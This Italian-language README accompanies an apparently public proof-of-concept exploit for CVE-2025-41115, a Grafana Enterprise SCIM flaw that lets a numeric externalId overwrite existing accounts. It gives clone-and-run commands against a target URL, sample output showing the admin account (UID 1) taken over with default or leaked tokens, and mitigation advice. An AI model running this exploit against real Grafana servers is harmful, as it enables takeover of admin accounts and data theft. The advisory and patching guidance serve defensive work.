🔐 CVE-2025-41115: Escalation Critica dei Privilegi SCIM di Grafana

Vulnerabilità critica di escalation dei privilegi SCIM in Grafana Enterprise

🌟 Riepilogo

CVE-2025-41115 è una vulnerabilità Critica (CVSS 10.0) in Grafana Enterprise che interessa la funzionalità di provisioning utenti SCIM.

Quando il provisioning SCIM è abilitato e user_sync_enabled = true, un client SCIM malintenzionato può inviare un externalId numerico, che Grafana mappa erroneamente su un ID utente interno — consentendo a un attaccante di impersonare o sovrascrivere account esistenti, inclusi gli admin. ⚠️ Grafana OSS NON è interessato.

🚨 Impatto

• 🔓 Compromissione dell'account (inclusi gli account admin)
• 🚀 Escalation dei privilegi con pieni diritti da admin
• 🗄️ Accesso a dashboard / dati / configurazioni organizzative
• 🌐 Sfruttabile in rete con requisiti minimi
• 🛑 Alto rischio per configurazioni multi-tenant o SSO aziendali

Condizioni richieste per lo sfruttamento:

1. enableSCIM = true
2. [auth.scim] user_sync_enabled = true

🧩 Versioni Interessate

💡 I servizi Grafana gestiti (AWS/Azure/Grafana Cloud) sono stati corretti dai fornitori.

Come usarlo in 3 secondi:

1. Scarica

sudo git clone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.git

oppure copia-incolla lo script qui sopra in un file

2. Rendi eseguibile (facoltativo)

chmod +x CVE-2025-41115.py

3. Esegui

python3 CVE-2025-41115.py http://10.10.13.37:3000
# or
python3 CVE-2025-41115.py https://grafana.company.com

Quando l'exploit funziona davvero (cioè il target è vulnerabile e il token è valido), vedrai un output esattamente come questo: testo

[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: [email protected] (any password) → you are now Admin!
[+] Full response: {
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User"
  ],
  "id": "1",                     ←←← THIS IS THE KEY LINE (UID 1 overwritten)
  "externalId": "1",
  "meta": { ... },
  "userName": "[email protected]",
  "name": {
    "formatted": "Pwned User"
  },
  "emails": [
    {
      "value": "[email protected]",
      "primary": true
    }
  ],
  "active": true
}

🔧 Passaggi di Mitigazione

🥇 1. Aggiorna Immediatamente

Aggiorna a 12.3.0 o a una delle release di manutenzione corrette.

🛠️ 2. Controlla la tua configurazione SCIM

Se non stai utilizzando il provisioning SCIM, assicurati di avere:

enableSCIM = false

o

[auth.scim]
user_sync_enabled = false

📜 3. Log di audit

Cerca:

• Utenti nuovi inattesi
• Utilizzo di externalId numerico
• Modifiche ai privilegi

🔐 4. Limiti di fiducia

Assicurati che solo provider di identità fidati possano comunicare con il tuo endpoint SCIM.

👀 5. Monitora lo sfruttamento

Tieni d'occhio login sospetti, eventi di creazione utenti o takeover di admin.

📅 Cronologia

• 📌 2025-11-04 — Problema scoperto internamente
• 📌 2025-11-04 — Incidente dichiarato
• 📌 2025-11-05 — Fornitori cloud informati privatamente e corretti
• 📌 2025-11-19 — Divulgazione pubblica e rilascio della correzione ufficiale

📝 Note Aggiuntive

• 🎯 Il difetto è dovuto specificamente alla mappatura da parte di Grafana di externalId numerico → uid interno.
• 🟢 Lo sfruttamento richiede SCIM con sincronizzazione utenti, quindi molte implementazioni sono sicure per impostazione predefinita — ma devi confermarlo.
• ⚡ Nessuno sfruttamento confermato in the wild al momento della divulgazione, ma il punteggio CVSS 10 significa che è estremamente pericoloso.

dichiarazione di non responsabilità!!!

Questa PoC è solo per test di sicurezza autorizzati e uso educativo su sistemi di tua proprietà o per i quali hai esplicito permesso scritto di testare. L'uso non autorizzato è illegale e può comportare azioni penali. L'autore e il distributore non si assumono alcuna responsabilità per un uso improprio. Applica subito la patch (≥12.0.6 / 12.3.0+).